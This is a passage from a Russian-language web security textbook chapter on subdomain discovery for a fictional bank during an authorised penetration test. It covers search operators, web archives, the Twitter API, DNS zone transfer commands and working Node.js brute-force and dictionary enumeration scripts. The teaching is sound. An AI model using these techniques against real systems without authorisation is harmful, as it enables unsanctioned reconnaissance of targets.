Множество приложений в рамках одного домена
Представим, что мы пытаемся составить карту веб-приложения MegaBank
в рамках теста на проникновение методом black-box. Известно, что это приложение позволяет пользователям входить в систему и получать доступ к своим
банковским счетам. Оно находится по адресу https://www.mega-bank.com.
Нас интересует, связаны ли с доменным именем mega-bank.com еще какие-либо
серверы, доступные через интернет. Известно, что MegaBank предлагает поучаствовать в программе bug bounty, которая практически полностью охватывает
основной домен mega-bank.com. Так что все уязвимости, которые было легко
обнаружить, уже исправлены или известны. А поиск новых уязвимостей по
факту представляет собой бег наперегонки с другими охотниками.
Соответственно, желательно выбрать более простые цели. Хотя по условиям
задачи мы принимаем участие в тестировании, спонсируемом корпорацией,
ничто не мешает нам немного поразвлечься.

90  Глава 4. Поиск субдоменов

Первым делом нужно составить список субдоменов, прикрепленных к доменному имени mega-bank.com (рис. 4.1). Поскольку вариант с www указывает на общедоступное веб-приложение, вряд ли он будет нам интересен. Но у большинства
крупных компаний к основному домену прикреплено множество субдоменов.
На них размещаются различные сервисы — от электронной почты до административных приложений, файловых серверов и др.
test.my.megabank.com

my.megabank.com

www.megabank.com

megabank.com

mail.megabank.com

Рис. 4.1. Простая схема субдоменов megabank.com. Часто такие схемы выглядят значительно
сложнее и содержат серверы, недоступные извне
Существует много способов поиска информации об этих доменах, и для получения желаемого результата часто приходится попробовать несколько разных
вариантов. Мы начнем с самых простых.

Встроенные в браузер инструменты анализа
Некоторые полезные данные удается обнаружить, просто просмотрев функциональность в приложении MegaBank и запросы API, которые выполняются
в фоновом режиме. Зачастую таким способом можно получить информацию
о наиболее очевидных конечных точках. Для просмотра результатов запросов
можно использовать как инструменты браузера, так и более мощные внешние
аналоги, например Burp, PortSwigger или ZAP.
На рис. 4.2 показан пример инструментов браузера для разработчиков Википедии, которые можно использовать для просмотра, редактирования, повторной
отправки и записи сетевых запросов. Такие бесплатные инструменты сетевого
анализа намного мощнее многих платных сетевых инструментов 10-летней давности. Поскольку подробное рассмотрение специализированных инструментов
выходит за рамки этой книги, мы пока будем полагаться исключительно на инструменты, встроенные в браузер.

Встроенные в браузер инструменты анализа  91

Рис. 4.2. Вкладка с инструментами разработчика браузера для сайта Wikipedia.org, показывающая
асинхронный HTTP-запрос, сделанный к API этого сайта
Пользователи трех основных браузеров (Chrome, Firefox или Edge) могут знать,
насколько мощны встроенные в них инструменты разработчика. Фактически
они уже настолько развиты, что стать опытным хакером можно и не прибегая
к стороннему инструментарию. Современные браузеры позволяют выполнять
сетевой анализ, анализ кода, определение времени выполнения кода JavaScript
с точками остановки и ссылками на файлы, точное измерение производительности (которое может пригодиться при атаках по побочным каналам), а также
имеют встроенные инструменты для определения незначительных угроз безо­
пасности и проверки на совместимость.
Для анализа сетевого трафика в браузере Chrome нужно сделать следующее:
1. Щелкните по иконке с тремя точками в правом верхнем углу панели навигации, чтобы открыть меню.
2. Наведите указатель мыши на пункт Дополнительные инструменты и выберите вариант Инструменты разработчика (Developer tools).
3. В верхнем меню открывшегося окна перейдите на вкладку Network. Если
этой вкладки не видно, разверните окно по горизонтали.
Попробуйте походить по страницам любого сайта и посмотрите, что происходит
на вкладке Network. Обратите внимание, где появляются новые HTTP-запросы
(рис. 4.3).

92  Глава 4. Поиск субдоменов

Рис. 4.3. Вкладка Network применяется для анализа входящего и исходящего сетевого трафика
в браузере
Вкладка Network показывает весь обрабатываемый браузером сетевой трафик. Но
для крупных сайтов отфильтровать нужную информацию может быть непросто.
Самые интересные результаты зачастую дает фильтр XHR, который включается
нажатием одноименной кнопки. Кнопки фильтров позволяют отображать не
только все HTTP-запросы (POST, GET, PUT, DELETE), но и другие запросы
к серверу, а также шрифты, изображения, видео и файлы зависимостей. Выделение любого запроса открывает слева дополнительную панель с более детальной
информацией о нем.
Вы увидите как необработанные, так и отформатированные версии запросов,
а также все заголовки и тело кода. На вкладке Preview, которая появляется при
выделении запроса, можно посмотреть красиво отформатированный результат
любого запроса к API.
Вкладка Response покажет неотформатированный исходник ответа, а вкладка Timing — такие показатели, связанные с запросом, как время в очереди,
время загрузки и тайм-ауты. Все эти показатели производительности можно
использовать для нахождения вектора атаки по побочным признакам. (Например, ориентируясь на оценку времени выполнения различных сценариев
на сервере.)
К настоящему моменту вы должны достаточно знать о вкладке Network, чтобы
начать разведку с ее помощью. Этот инструмент только выглядит страшно:
освоить его совсем несложно.

Встроенные в браузер инструменты анализа  93

Во время просмотра любого сайта вы можете выделить строку с запросом и на
вкладке Headers открывшейся справа консоли посмотреть в разделе General
данные Request URL. Это даст информацию о домене, к которому был отправлен
запрос или от которого был получен ответ. Часто этого достаточно для обнаружения серверов, связанных с основным веб-сайтом.

Общедоступная информация
В настоящее время в сети хранится такой объем общедоступной информации,
что случайная утечка данных может происходить годами. Хороший хакер способен найти много интересных сведений, которые упростят процесс атаки.
Вот примеры данных, которые я обнаруживал в интернете во время тестов на
проникновение:
кэшированные копии репозиториев GitHub, которые на время случайно
стали общедоступными;
SSH-ключи;
различные ключи для таких сервисов, как Amazon AWS или Stripe,
­которые периодически открывались, а затем удалялись из общего доступа;
списки DNS и URL-адреса, не предназначенные для широкой аудитории;
страницы с описанием неизданных продуктов, которые не предназначались для публикации;
финансовые отчеты, размещеные в интернете, которые не должны были
сканировать поисковые системы;
адреса электронной почты, номера телефонов и имена пользователей.
Эту информацию можно найти во многих местах, например в:
поисковых системах;
сообщениях в соцсетях;
приложениях для архивирования, например archive.org;
истории поиска и обратного поиска изображений.
При поиске субдоменов общедоступные записи могут стать хорошим источником информации. Искать их методом словарного перебора нелегко, но они могли
быть проиндексированы в одной из ранее перечисленных служб.

94  Глава 4. Поиск субдоменов

Кэши поисковых систем
В мире чаще всего используют Google, поэтому считается, что этот поисковик
проиндексировал больше данных, чем любой другой. Просто гуглить для сбора
предварительных данных вручную бесполезно, так как приходится просматривать огромное количество информации, прежде чем найдется что-нибудь полезное. Этому способствует и то, что Google подавляет автоматические запросы
и отклоняет те их них, которые не похожи на запросы настоящего веб-браузера.
К счастью, существуют специальные операторы поиска, позволяющие сделать
запрос более конкретным. Например, оператор site: просит Google
ограничить поиск определенным доменом:
site:mega-bank.com log in

Но для популярного сайта такой запрос обычно возвращает множество страниц
с содержимым из основного домена и очень мало содержимого из интересных
субдоменов. Так что нужно еще больше сузить поиск.
Используйте оператор «минус», чтобы добавить определенные отрицательные
условия к любой строке запроса. Например, оператор -inurl: отклонит
любые URL-адреса, соответствующие предоставленному шаблону.
Рисунок 4.4 демонстрирует результат поиска с использованием операторов site:
и -inurl:. В данном случае эта комбинация заставляет Google возвращать только страницы сайта wikipedia.org, содержащие информацию о щенках
(puppies), в URL-адресе которых отсутствует слово dog (собака). Этот метод
позволяет уменьшить количество возвращаемых результатов поиска, а также
искать субдомены, игнорируя определенные ключевые слова.
Умение применять операторы поиска различных поисковых систем позволяет
находить информацию, которую сложно отыскать другим способом.
Оператор -inurl: позволяет удалить результаты для уже знакомых
нам субдоменов, например для www. Правда, экземпляры www будут отфильтровываться и из других частей URL-адреса. То есть адрес https://admin.mega-bank.
com/www также будет отфильтрован. Это означает, что при вот такой команде
у операции удаления могут быть ложные срабатывания:
site:mega-bank.com -inurl:www

Попробуйте проделать это с разными сайтами, и вы найдете субдомены, о существовании которых даже не подозревали. Например, посмотрим на популярный
новостной сайт Reddit:
site:reddit.com -inurl:www

Общедоступная информация  95

Рис. 4.4. Результат поиска в Google.com с использованием операторов site:
и --inurl:
Первым в результатах запроса идет code.reddit.com. Это архив кода ранних версий
Reddit, который решили сделать общедоступным. Новостные сайты намеренно
дают доступ к этим доменам.
Если в процессе тестирования на проникновение приложения MegaBank мы
обнаружим дополнительные домены, которые были специально открыты, их

96  Глава 4. Поиск субдоменов

следует просто отфильтровать, так как они нам неинтересны. Будь у сайта
MegaBank мобильная версия на субдомене mobile.mega-bank.com, ее тоже можно
было бы отфильтровать:
site:mega-bank.com -inurl:www -inurl:mobile

Процесс поиска субдоменов сайта можно повторять, пока не будет найдено
больше релевантных результатов. Этот метод имеет смысл применять и в других
поисковых системах, например в Bing. Аналогичные операторы поддерживаются
всеми крупными поисковиками.
Запишите все интересное, что вы нашли с помощью этой техники, и переходите
к другим методам исследования субдоменов.

Поиск в архиве
Публичные архиваторы, такие как Archive.org, периодически создают снэпшоты, что позволяет посещать копии веб-сайтов «из прошлого». Archive.org
стремится сохранить историю интернета. Многие сайты умирают, а новые
забирают их домены. Архив интернета хранит исторические снимки сайтов,
существовавших лет 20 назад, а значит, это просто кладезь информации,
которая когда-то побывала в открытом доступе (намеренно или случайно),
но позже была удалена. Рисунок 4.5 демонстрирует главную страницу сайта
Wikipedia.org, проиндексированную в 2003 году, то есть почти два десятилетия назад!
Как правило, поисковые системы индексируют информацию о сайтах, но периодически пытаются сканировать и сами сайты, чтобы обновлять кэш. Фактически
это означает, что актуальные данные нужно искать в поисковике, а для получения исторических лучше обратиться к архиву сайта.
Возьмем сайт одной из самых популярных и посещаемых медиакомпаний:
The New York Times (https://www.nytimes.com). На Archive.org сохранено более
200 000 снимков его главной страницы — с 1996 года по сегодняшний день.
Исторические снэпшоты особенно ценны в ситуациях, когда мы знаем или
можем угадать момент появления основной версии веб-приложения или обнаружения в нем серьезной уязвимости. В архиве часто можно найти и субдомены
в виде гиперссылок, которые когда-то были доступны через HTML или JS, но
в текущей версии приложения больше не видны.
Если по снэпшоту Archive.org щелкнуть правой кнопкой мыши и выбрать команду View source, можно выполнить быстрый поиск общих шаблонов URL. Поиск

Общедоступная информация  97

шаблона file:// может дать информацию о ранее существовавших загрузках,
а шаблоны https:// или http:// покажут все гиперссылки HTTP.

Рис. 4.5. Archive.org — некоммерческая организация из Сан-Франциско,
существующая с 1996 года
Поиск субдоменов в архиве автоматизируется с помощью следующих простых
шагов.
1. Откройте 10 архивов для 10 разных дат, разделенных значительным временным промежутком.
2. Щелкните на архиве правой кнопкой мыши, выберите в меню команду
Просмотр кода страницы и нажатием комбинации клавиш Ctrl+A выделите весь HTML-код.
3. Нажатием комбинации клавиш Ctrl+C скопируйте выделенный HTMLкод в буфер обмена.
4. На рабочем столе создайте файл legacy-source.html.
5. Комбинацией клавиш Ctrl+V вставьте скопированный код в файл.
6. Повторите это для всех открытых архивов.
7. Откройте файл legacy-source.html в текстовом редакторе (VIM, Atom,
VSCode и т. п.).

98  Глава 4. Поиск субдоменов

8. Выполните поиск наиболее распространенных шаблонов URL:
• http://
• https://
• file://
• ftp://
• ftps://

Полный список доступных шаблонов URL-адресов есть в документе спецификации, в которой указаны поддерживаемые браузером протоколы.

Социальные профили
Все крупные современные социальные сети сегодня зарабатывают деньги на
продаже пользовательских данных. В зависимости от платформы эти данные
могут включать в себя общедоступные и закрытые публикации, а в некоторых
случаях даже личные сообщения.
К сожалению, современные соцсети прилагают все большие усилий, чтобы убедить пользователей в безопасности их личных данных. Например, рассылают
маркетинговые сообщения, описывающие, как много делается ради этого. Но
часто это всего лишь способ привлечения и удержания активных пользователей.
Очень сложно найти страну, законы которой действительно защищают личные
данные. Вряд ли большинство пользователей соцсетей полностью понимает,
какие их данные передаются, какими методами это делается и для каких целей
эти данные используются.
Большинство из тех, кто по заказу осуществляет тестирование на проникновение, не считает неэтичным поиск субдоменов через данные, выложенные
в социальных сетях. Но я очень вас прошу: когда вы начнете самостоятельно
использовать эти API для разведки, все-таки думайте о конечных пользователях.
Рассмотрим в качестве примера API, предоставляемый сервисом Twitter. Аналогичный набор API, как правило, с аналогичной структурой предлагает каждая
крупная соцсеть. Соответственно, правила составления запросов и поиска данных по сообщениям в Twitter применимы к любой другой крупной платформе.

API, предоставляемый сервисом Twitter
Twitter предлагает разные варианты поиска и фильтрации данных (рис. 4.6).
Они отличаются диапазоном действия, функциональностью и набором

Общедоступная информация  99

Рис. 4.6. API-документы разработчика для Twitter помогут быстро искать и фильтровать
пользовательские данные
данных. Это означает, что чем больше данных и чем больше способов запрашивать и фильтровать эти данные вы хотите получить, тем больше придется
заплатить. В некоторых случаях поиск может выполняться даже на серверах
Twitter, а не локально. Имейте в виду, что выполнение такого поиска в злонамеренных целях, скорее всего, противоречит условиям пользования Twitter,
поэтому подобные действия допустимы только с целью тестирования уровня
защиты (White Hat).
На нижнем уровне Twitter предлагает пробный «API поиска», позволяющий
анализировать твиты за 30 дней при условии, что вы запрашиваете не более
100 твитов за раз с частотой не более 30 раз в минуту. Ограничено и количество
запросов в месяц — всего 250. Это означает, что для получения максимально доступного набора данных потребуется около 10 минут на запросы. Таким образом,
бесплатно можно проанализировать только 25 000 твитов.
Эти ограничения затрудняют процесс анализа API. Так что, если вы планируете
использовать Twitter для разведки, имеет смысл приобрести более высокий
уровень доступа.
Мы можем использовать этот API для создания запроса JSON со ссылкой *.megabank.com. Для этого первым делом потребуется:

100  Глава 4. Поиск субдоменов

создать учетную запись разработчика;
зарегистрироваться в приложении;
получить токен, который необходимо включать в запросы для аутентификации.
Создать запрос в этом API несложно, несмотря на то что пояснительная документация разрозненна и временами непонятна из-за отсутствия примеров:
curl --request POST \
--url https://api.twitter.com/1.1/tweets/search/30day/Prod.json \
--header 'authorization: Bearer ' \
--header 'content-type: application/json' \
--data '{
"maxResults": "100",
"keyword": "mega-bank.com"
}'

По умолчанию этот API выполняет нечеткий поиск по ключевым словам. Для
точных совпадений нужно поместить переданную строку в двойные кавычки.
Их можно добавить поверх кода JSON: "keyword": "\"mega-bank.com \"".
Запись результатов этого запроса и поиск ссылок может дать вам набор ранее
не известных субдоменов. Обычно они исходят от маркетинговых кампаний,
инструментов отслеживания рекламы и даже мероприятий по поиску сотрудников, которые привязаны не к тому серверу, на котором базируется основное
приложение.
Для примера попробуйте создать запрос, который ищет твиты, касающиеся
Microsoft. Просмотрев достаточно таких твитов, легко заметить, что у этой
компании есть ряд субдоменов, которые она активно продвигает в Twitter, в том
числе:
careers.microsoft.com (сайт с вакансиями);
office.microsoft.com (сайт пакета Microsoft Office);
powerbi.microsoft.com (сайт продукта PowerBI);
support.microsoft.com (поддержка пользователей).

Обратите внимание: как только твит становится достаточно популярным, его
начинают индексировать основные поисковые системы, ведь на него дается
множество ссылок. Так что для анализа API стоит поискать менее популярные
публикации. Сведения, которые несут популярные вирусные твиты, более эффективно получать через поисковую систему.

Общедоступная информация  101

Если результатов, которые дает обычный API, вам мало, Twitter предлагает еще
два варианта: Streaming API и Firehose API.
Как легко понять по его названию, Streaming API дает доступ к потоку твитов
в реальном времени. Но так как объем поступающих сообщений слишком велик,
фактически вы видите лишь небольшой их процент. Большая часть твитов будет пропущена. Словом, этот API может оказаться полезным при сборе данных
о модных или популярных приложениях. Если же вы собираете данные для
стартапа, он вам не пригодится.
Firehose API функционирует аналогичным образом, но гарантирует доставку
100% твитов, соответствующих заданным критериям. Для разведки он представляет куда большую ценность, чем Streaming API, поскольку в большинстве
ситуаций релевантность ответов на запросы намного важнее их количества.
Вот краткие правила сбора информации в социальной сети Twitter:
наиболее релевантные данные для большинства веб-приложений дадут
запросы к API поиска;
в случае популярных или модных приложений полезная информация
может быть найдена с помощью Streaming API и Firehose API;
если вам нужна историческая информация, скачайте множество твитов
за прошедшие периоды и выполните локальный поиск.
Помните, что почти все крупные социальные сети предлагают различные API,
которые можно использовать для разведки и других форм анализа. Если один
не даст желаемых результатов, вполне может помочь другой.

Атаки на передачу зоны
В принципе мы извлекли все, что могли, из общедоступных веб-приложений
и анализа сетевых запросов. Но хотелось бы найти присоединенные к MegaBank
субдомены, никак не связанные с общедоступным веб-приложением.
Атака на передачу зоны (zone transfer attack) — своего рода трюк, который можно
проделать с неправильно настроенным DNS-сервером. Это не «взлом», а всего
лишь легкий метод сбора информации. По своей сути это особым образом отформатированный запрос, который выглядит как реальный запрос на передачу
зоны DNS от реального DNS-сервера.
DNS-серверы преобразуют понятные человеку доменные имена (например,
https://mega-bank.com) в машиночитаемые IP-адреса (например, 195.250.100.195).

102  Глава 4. Поиск субдоменов

Последние имеют иерархию и хранятся в соответствии с шаблоном, позволяющим легко выполнить запрос и найти нужный адрес. С помощью DNS-сервера
можно поменять IP-адрес сервера без необходимости обновлять информацию
для пользователей приложений. Благодаря этому пользователи просто заходят
на сайт https://www.mega-bank.com, не беспокоясь о том, на какой сервер будет
разрешен запрос.
Работа системы DNS в крайней степени зависит от ее способности синхронизировать обновления записей DNS с другими DNS-серверами. Передача зон
DNS — стандартизированный способ совместного использования записей DNS
разными серверами. Записи, которые называются файлами зоны (zone file), передаются в текстовом формате.
Файлы зон содержат конфигурационные данные, не предназначенные для общего доступа. Правильно настроенный мастер-сервер должен разрешать запросы на
передачу зоны только от авторизованных вторичных серверов. Ошибки в этой
конфигурационной настройке делают сервер уязвимым для злоумышленников.
Представим, что мы хотим атаковать передачу зоны MegaBank. Для этого нужно
притвориться, что мы — DNS-сервер, запросить файл зоны, якобы необходимый
нашему DNS-серверу для обновления записей. Первым делом найдем, какие
DNS-серверы связаны с https://www.mega-bank.com. В любой системе семейства
Unix это очень легко сделать:
host -t mega-bank.com

Команда host вызывает служебную программу поиска DNS, которая есть как
в большинстве дистрибутивов Linux, так и в последних версиях macOS. Флаг -t
указывает, что мы хотим запросить серверы имен, отвечающие за разрешение
имени mega-bank.com.
Результат этой команды будет выглядеть примерно так:
mega-bank.com name server ns1.bankhost.com
mega-bank.com name server ns2.bankhost.com

Здесь нас интересуют фрагменты ns1.bankhost.com и ns2.bank host.com. Они
описывают два сервера имен для зоны mega-bank.com. Запрос на передачу зоны
занимает всего одну строку и выполняется опять же с помощью команды host:
host -l mega-bank.com ns1.bankhost.com

Флаг -l указывает, что мы хотим получить файл зоны для mega-bank.com с ns1.
bankhost.com, чтобы обновить наши записи.

Атаки на передачу зоны  103

Если запрос будет выполнен (что указывает на ошибки в защите DNS-сервера),
вы увидите следующий результат:
Using domain server:
Name: ns1.bankhost.com
Address: 195.11.100.25
Aliases:
mega-bank.com has address 195.250.100.195
mega-bank.com name server ns1.bankhost.com
mega-bank.com name server ns2.bankhost.com
mail.mega-bank.com has address 82.31.105.140
admin.mega-bank.com has address 32.45.105.144
internal.mega-bank.com has address 25.44.105.144

Теперь у нас есть список других веб-приложений, размещенных в домене megabank.com, а также их общедоступные IP-адреса!
Можно попробовать перейти к этим субдоменам или IP-адресам и посмотреть,
как разрешится такой запрос. Если повезет, количество доступных видов атаки
увеличится! Но, к сожалению, атаки на передачу зоны редко идут по показанной
выше схеме. Правильно настроенный сервер выдаст на запрос другой результат:
Using domain server:
Name: ns1.secure-bank.com
Address: 141.122.34.45
Aliases:
: Transfer Failed.

Этой атаке легко противостоять, так что вы обнаружите, что многие приложения
настроены корректно и попытки заканчиваются ничем. С другой стороны, атака
сводится к нескольким строкам кода Bash, так что попытка почти всегда имеет
смысл. Если трюк удастся, вы получите список субдоменов, который не смогли
бы получить другим способом.

Брутфорс субдоменов
В качестве последнего способа поиска субдоменов можно использовать атаку
методом грубой силы — брутфорс (brute-force attack). Такие атаки действенны
против веб-приложений с небольшим количеством защит, а вот в случае давно существующих и защищенных веб-приложений их следует тщательно планировать.

104  Глава 4. Поиск субдоменов

К брутфорсу имеет смысл прибегать только в крайнем случае, потому что его
легко обнаружить. Кроме того, зачастую на эту атаку тратится очень много
времени из-за ограничений скорости, регулярных выражений и других простых
механизмов безопасности, разработанных для предотвращения несанкционированных вмешательств такого типа.
Брутфорс очень легко обнаруживается и может привести к тому,
что ваши IP-адреса будут зафиксированы в системном журнале
и заблокированы сервером или его администратором.

Брутфорс подразумевает проверку всех возможных комбинаций субдоменов
в поисках совпадений. Останавливаться при первом же совпадении нельзя, так
как субдоменов может быть много.
Так как в данном случае атака осуществляется не локально, попытки сравнения
замедлятся из-за задержки Сети. Задержка выполнения запроса может составлять от 50 до 250 мс.
Это означает, что запросы должны быть асинхронными, то есть нужно отправить
их все сразу, не дожидаясь ответа. Это позволит значительно уменьшить время
до завершения атаки.
Цикл обратной связи, необходимый для обнаружения действующего субдомена,
довольно прост. Наш алгоритм брутфорса генерирует субдомен, и по адресу
.mega-bank.com отправляется запрос. Если ответ приходит,
субдомен отмечается как действующий. В противном случае мы отмечаем, что
такой субдомен недоступен.
JavaScript — самый важный язык для тех, кто интересуется безопасностью вебприложений. Это не только единственный из ЯП, который сейчас доступен
для написания браузерных сценариев, но и чрезвычайно мощный инструмент
для программирования на стороне сервера, благодаря программной платформе
Node.js и сообществу разработчиков ПО с открытым исходным кодом.
Давайте напишем алгоритм брутфорса на JavaScript. Наш сценарий должен
выполнять следующие действия:
1. Генерировать список потенциальных субдоменов.
2. Пинговать каждый субдомен, проверяя его доступность.
3. Записывать действующие субдомены.

Брутфорс субдоменов   105

Для генерации списка субдоменов можно использовать следующий код:
/*
* Простая функция для брутфорса списка субдоменов
* с указанием максимальной длины каждого из них.
*/
const generateSubdomains = function(length) {
/*
* Список символов, из которых генерируются субдомены.
*
* В него можно добавить менее распространенные символы
* вроде '-'.
*
* Некоторые браузеры поддерживают также китайские,
* арабские и латинские символы.
*/
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('');
let subdomains = charset;
let subdomain;
let letter;
let temp;
/*
* Сложность алгоритма: o(n*m)
* n = длина строки
* m = количество допустимых символов
*/
for (let i = 1; i < length; i++) {
temp = [];
for (let k = 0; k < subdomains.length; k++) {
subdomain = subdomains[k];
for (let m = 0; m < charset.length; m++) {
letter = charset[m];
temp.push(subdomain + letter);
}
}
subdomains = temp
}
}

return subdomains;

const subdomains = generateSubdomains(4);

Сценарий генерирует все возможные комбинации символов длины n. Список
символов задан переменной charset. Алгоритм разбивает строку charset на
массив символов, а затем присваивает этому массиву исходный набор символов.

106  Глава 4. Поиск субдоменов

Далее на каждой итерации по параметру length мы создаем массив для временного хранения, после чего в цикле просматриваем все субдомены и все символы
в массиве charset. В результате из комбинации субдоменов и символов генерируется временный массив.
Получив с помощью этого сценария список субдоменов, можно посылать запросы к домену верхнего уровня (.com, .org, .net и т. п.), например к домену megabank.com. Для этого напишем еще один короткий сценарий, который использует
модуль DNS, предоставляемый Node.js.
Запуск этого сценария возможен, только если у вас установлена последняя
версия Node.js (если вы работаете с ОС семейства Unix, такой как Linux или
Ubuntu):
const dns = require('dns');
const promises = [];
/*
* Этот список можно заполнить результатами выполнения предыдущего
* сценария или использовать словарь распространенных субдоменов.
*/
const subdomains = [];
/*
* В цикле выполняем асинхронные DNS-запросы к каждому субдомену.
*
* Это более эффективно, чем популярная функция `dns.lookup()`,
* которая из JavaScript выглядит асинхронной, но полагается на
* реализуемую синхронно функцию операционной системы getaddrinfo(3).
*/
subdomains.forEach((subdomain) => {
promises.push(new Promise((resolve, reject) => {
dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip){
return resolve({ subdomain: subdomain, ip: ip });
});
}));
});
// после завершения всех DNS-запросов записываем результаты
Promise.all(promises).then(function(results) {
results.forEach((result) => {
if (!!result.ip) {
console.log(result);
}
});
});

В этом сценарии мы реализовали несколько вещей, чтобы сделать процесс бутфорса более наглядным.

Брутфорс субдоменов   107

Первым делом импортируется библиотека DNS из пакета Node. Затем создается
массив promises для хранения списка объектов promise. Промисы упрощают обработку асинхронных запросов в JavaScript и поддерживаются всеми основными
браузерами и платформой Node.js.
После этого мы создаем массив subdomains, в который поместим субдомены,
обнаруженные первым сценарием (к концу этого раздела сценарии будут объединены). Перебор субдоменов из этого массива выполняется с помощью оператора forEach(). Он функционирует аналогично циклу for, но синтаксически
выглядит более элегантно.
На каждой итерации в массив promises помещается новый объект, внутри которого мы вызываем функцию dns.resolve из библиотеки DNS, чтобы попытаться
преобразовать доменное имя в IP-адрес. Промисы из массива считаются исполненными только после того, как библиотека завершит свой сетевой запрос.
Блок Promise.all принимает массив объектов promise и переходит к части вызова .then () только после разрешения каждого промиса в массиве (то есть после завершения соответствующего сетевого запроса). Оператор в виде двойного
восклицательного знака !! указывает, что нас интересуют только завершенные
промисы, то есть попытки, которые не возвращают IP-адрес, мы игнорируем.
Можно было бы добавить метод reject(), но тогда понадобился бы блок catch()
для обработки ошибок. Библиотека DNS выдает ряд ошибок, часть из которых
не стоит того, чтобы для их устранения прерывался цикл перебора субдоменов.
Для простоты я исключил эти вещи из приведенных тут примеров кода, но если
вы решите самостоятельно усовершенствовать код, это пойдет вам на пользу.
Мы применяем метод dns.resolve вместо dns.lookup, хотя в JavaScript оба метода вызываются асинхронно. Но собственная реализация, на которую полагается
метод dns.lookup, построена на синхронной библиотеке libuv.
Оба сценария можно легко объединить в одну программу, которая сначала
генерирует список потенциальных субдоменов, а затем пытается выполнить
асинхронный брутфорс его элементов:
const dns = require('dns');
/*
* Простая функция для брутфорса списка субдоменов
* с указанием максимальной длины каждого из них.
*/
const generateSubdomains = function(length) {
/*
* Список символов, из которых генерируются субдомены.

108  Глава 4. Поиск субдоменов

*
* В него можно добавить менее распространенные символы
* вроде '-'.
*
* Некоторые браузеры поддерживают также китайские,
* арабские и латинские символы.
*/
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('');
let subdomains = charset;
let subdomain;
let letter;
let temp;

}

/*
* Сложность алгоритма: o(n*m)
* n = длина строки
* m = количество допустимых символов
*/
for (let i = 1; i < length; i++) {
temp = [];
for (let k = 0; k < subdomains.length; k++) {
subdomain = subdomains[k];
for (let m = 0; m < charset.length; m++) {
letter = charset[m];
temp.push(subdomain + letter);
}
}
subdomains = temp

return subdomains;
}
const subdomains = generateSubdomains(4);
const promises = [];
/*
* В цикле выполняем асинхронные DNS-запросы к каждому субдомену.
*
* Это более эффективно, чем популярная функция `dns.lookup()`,
* которая из JavaScript выглядит асинхронной, но полагается на
* реализуемую синхронно функцию операционной системы getaddrinfo(3).
*/
subdomains.forEach((subdomain) => {
promises.push(new Promise((resolve, reject) => {
dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip){
return resolve({ subdomain: subdomain, ip: ip });
});
}));
});

Брутфорс субдоменов   109

// после завершения всех DNS-запросов записываем результаты
Promise.all(promises).then(function(results) {
results.forEach((result) => {
if (!!result.ip) {
console.log(result);
}
});
});

После небольшого ожидания в терминале появится список существующих
субдоменов:
{
{
{
{
{
{
{
{

subdomain:
subdomain:
subdomain:
subdomain:
subdomain:
subdomain:
subdomain:
subdomain:

'mail', ip: '12.32.244.156' },
'admin', ip: '123.42.12.222' },
'dev', ip: '12.21.240.117' },
'test', ip: '14.34.27.119' },
'www', ip: '12.14.220.224' },
'shop', ip: '128.127.244.11' },
'ftp', ip: '12.31.222.212' },
'forum', ip: '14.15.78.136' }

Перебор по словарю
Процесс поиска субдоменов можно ускорить, если вместо брутфорса воспользоваться перебором по словарю. В этом случае также проверяется широкий спектр
потенциальных субдоменов, но вместо списка, сгенерированного случайным
образом, берется список наиболее распространенных вариантов.
Перебор по словарю осуществляется намного быстрее и обычно дает интересные результаты. Хотя, конечно, необычные и нестандартные субдомены таким
способом обнаружить нельзя.
Популярный DNS-сканер с открытым исходным кодом dnscan поставляется
со списком самых популярных субдоменов, полученным на основе миллионов
субдоменов из более чем 86 000 записей зон DNS. Вот 25 наиболее распространенных субдоменов по данным dnscan:
www
mail
ftp
localhost
webmail
smtp

110  Глава 4. Поиск субдоменов

pop
ns1
webdisk
ns2
cpanel
whm
autodiscover
autoconfig
m
imap
test
ns
blog
pop3
dev
www2
admin
forum
news

В репозитории GitHub этого сканера есть файлы, содержащие 10 000 основных
субдоменов. Открытая лицензия GNU v3 позволяет интегрировать их в ваш
процесс сбора предварительных данных. Репозиторий находится по ссылке
https://github.com/rbsec/dnscan.
Мы можем легко добавить словарь в наш сценарий. Небольшие списки можно
просто скопировать/вставить/зафиксировать в коде сценария. Большие нужно
хранить отдельно и извлекать во время выполнения сценария. Это упрощает редактирование или даже замену списка. В большинстве случаев списки хранятся
в формате .csv, что упрощает интеграцию в наш сценарий поиска субдоменов:
const dns = require('dns');
const csv = require('csv-parser');
const fs = require('fs');
const promises = [];
/*
* Начинаем закачку данных о субдоменах с диска (вместо того
* чтобы загонять в память большой файл).
*

Перебор по словарю  111

* В каждой строке вызываем `dns.resolve`, проверяя, существует ли
* такой субдомен. Сохраняем эти промисы в массив `promises`.
*
* После прочтения всех строк и выполнения всех промисов
* выводим обнаруженные субдомены на консоль.
*
* Улучшение производительности: в случае очень большого списка
* субдоменов открываем второй файл, куда будут записываться
* результаты выполнения промисов.
*/
fs.createReadStream('subdomains-10000.txt')
.pipe(csv())
.on('data', (subdomain) => {
promises.push(new Promise((resolve, reject) => {
dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip) {
return resolve({ subdomain: subdomain, ip: ip });
});
}));
})
.on('end', () => {
// после завершения всех DNS-запросов записываем результаты
Promise.all(promises).then(function(results) {
results.forEach((result) => {
if (!!result.ip) {
console.log(result);
}
});
});
});

Да, все так просто! Устраивающий вас словарь субдоменов просто вставляется
в сценарий брутфорса и получается готовый к употреблению сценарий атаки
перебором по словарю.
Поскольку перебор по словарю намного эффективнее брутфорса, имеет смысл
начинать именно с него. И только если этот метод не даст ожидаемых результатов, можно перейти к брутфорсу.

Итоги
Основная цель разведки состоит в построении карты веб-приложения, которая
позднее поможет при расстановке приоритетов и планирования сценариев атаки.
Для этого прежде всего нужно найти серверы, отвечающие за поддержку работы
приложения. Именно поэтому мы ищем субдомены, прикрепленные к основному
домену приложения.

112  Глава 4. Поиск субдоменов

Приложения, ориентированные на работу с потребителями, такие как банковский клиент, обычно подвергаются наиболее пристальному анализу. Ошибки
исправляются быстро, поскольку с ними сразу же сталкивается множество
пользователей.
Серверы, работающие незаметно для окружающих, такие как почтовый или
сервер удаленного доступа для администратора, часто напичканы ошибками,
поскольку они гораздо меньше используются и меньше подвержены риску. Часто
обнаружение одного из таких API может стать полезным стартом для поиска
уязвимостей в приложении.
Для поиска субдоменов нужно применять разные методы, поскольку один вряд
ли даст исчерпывающие результаты. Если вы считаете, что нашли достаточно
